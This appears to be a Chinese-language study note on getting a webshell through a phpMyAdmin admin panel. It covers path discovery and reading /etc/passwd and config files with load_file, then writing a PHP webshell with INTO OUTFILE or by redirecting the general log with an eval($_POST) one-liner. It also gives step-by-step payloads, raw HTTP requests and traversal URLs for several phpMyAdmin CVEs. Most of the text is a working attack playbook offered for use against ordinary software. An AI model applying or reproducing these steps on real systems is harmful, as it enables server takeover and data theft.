phpMyAdmin getshell 学习
参考文章
phpmyadmin4.8.1后台getshell
phpMyAdmin 渗透利用总结
CVE-2018-19968 phpmyadmin文件包含getshell连载
前言
拿到一个 phpMyAdmin 管理页面后怎么 GetShell ?
信息搜集
版本
注:phpMyAdmin 版本还可以在这里查看
自带文件/phpMyAdmin/README
获取网站真实路径
-
phpinfo
phpinfo 页面泄露,具体在_SERVER["SCRIPT_FILENAME"]
、_SERVER["CONTEXT_DOCUMENT_ROOT"]
、_SERVER["DOCUMENT_ROOT"]
、Server Root
等处
如:
-
读取配置文件
MySQL load_file 函数读取配置文件
条件: 执行select @@secure_file_priv
得到空的返回值,而不是 NULL;文件大小不能大于PHP限制的max_allowed_packet
,同时magic_quotes_gpc=off
其中:
当 secure_file_priv 的值为 NULL ,表示限制 mysql 不允许导入/导出
值为 /tmp/ ,表示限制 mysql 的导入|导出只能发生在 /tmp/ 目录下
值为空,表示不对 mysql 的导入/导出做限制
默认配置文件有:
Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
具体命令:select load_file("/etc/passwd")
-
@@datadir参数看 mysql 路径 反猜绝对路径
select @@datadir
-
构造报错页面
输入一些错误的路径,导致网页报错(页面访问报错,sql 注入报错、文件包含报错) -
特定 CMS 默认路径
dedecms:
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php
WP:
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php
其他可在网上搜索
- google hack
利用 百度 谷歌 fofa zoomeye 等搜索引擎
搜索关键字error
等等
一般版本 GetShell
前提条件
查看读写文件路径:show variables like "%secure_file_priv%"
或 select @@secure_file_priv
结果为空
常规写 shell
需要知道绝对路径、数据库root权限、数据库有写权限
具体语句:SELECT "<?php phpinfo();?>" INTO OUTFILE "D:\\software\\phpstudy_pro\\WWW\\shell.php"
注意点:windows下,须要双反斜线,否则会转义
然后使用菜刀/蚁剑等链接即可
日志写 shell
MySQL 5.0+ 的版本会自动创建日志文件,且在服务运行的情况下修改全局变量也是可以变动文件位置的,但须要对生成日志的目录有可读可写的权限
general log 指的是日志保存状态
show variables like "general_log%"; // 查询日志保存状态,ON代表开启 OFF代表关闭。
set global general_log='on'; // 设置为 on
general log file 指的是日志的保存路径
set global general_log_file ="D:\\software\\phpstudy_pro\\WWW\\shell.php"
由于执行的语句都会写入到日志文件中,所以我们查询语句select "<?php eval($_POST[R0oKi3]);?>"
便会将其记录到指定的日志文件中
然后使用菜刀/蚁剑等链接即可
特殊版本
phpMyAdmin 2.x版本 反序列化漏洞任意文件读取
POST /scripts/setup.php HTTP/1.1
Host: www.test.com
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
phpmyadmin 4.0.x/4.4.x RCE(CVE-2016-5734)
POC
条件:
phpMyAdmin版本:4.0.10.16之前4.0.x版本、4.4.15.7之前4.4.x版本;能登陆后台;PHP版本: 4.3.0-5.4.6
用法:python cve-2016-5734.py -c 'system(id);' -u root -p root -d test http://test.com
,注意: -c 指要执行的 php 代码
phpMyAdmin 4.8.1 文件包含漏洞(CVE-2018-12613)
- 利用方式一
前提:能进管理页面
- 访问 http://test.com/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd 页面
- 执行如下 sql 语句 SELECT '';
- 查看自己的 seesionid
- http://test.com/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_ 4u1jrl5dd5eshq332kto80bpp0qnmn0e 即包含你的session文件,即可 getshell
- 利用方式二
前提:能进管理页面,查询数据库绝对路径
- select @@datadir; 查看数据库绝对路径
- 创建数据库,并插入 php 一句话
CREATE DATABASE test;
use test;
CREATE TABLE test(code varchar(100));
INSERT INTO test(code) VALUES("<?php phpinfo(); ?>");
- 包含该数据库文件
http://test.com/index.php?target=db_sql.php%253f/../../../../../../../../../software/phpstudy_pro/Extensions/MySQL5.7.26/data/test/test.MYD
phpMyAdmin 4.0.1--4.2.12 任意文件包含(CVE-2014-8959)
前提:能进管理页面;PHP版本 < 5.3.4(00截断);已知网站绝对路径
http://test.com/gis_data_editor.php?token=你的token值&gis_data[gis_type]=/../../../../phpinfo.txt%00
可找上传点上传图片马等文件 getshell
phpMyAdmin 4.8.0--4.8.3 任意文件包含/RCE(CVE-2018-19968)
- 登陆后台,创建数据库
CREATE DATABASE test;
CREATE TABLE test.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO test.bar SELECT '<?php phpinfo(); ?>';
-
访问
http://test.com/chk_rel.php?fixall_pmadb=1&db=test
页面 -
查看 COOKIE 中 phpMyAdmin 的值
-
将表 pma__columninfo 中将 sess_*** 中的 *** 替换成你刚刚查找的 phpMyAdmin 值
执行下列语句:
INSERT INTO pma__column_info SELECT '1', 'test', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../tmp/sess_5459575785b3388d23cce3644f2c482f','plop';
# 注意,这里的 sess_5459575785b3388d23cce3644f2c482f 文件需要改成自己对应的文件
- 访问
http://test.com/tbl_replace.php?db=test&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
即可看到恶意代码已被包含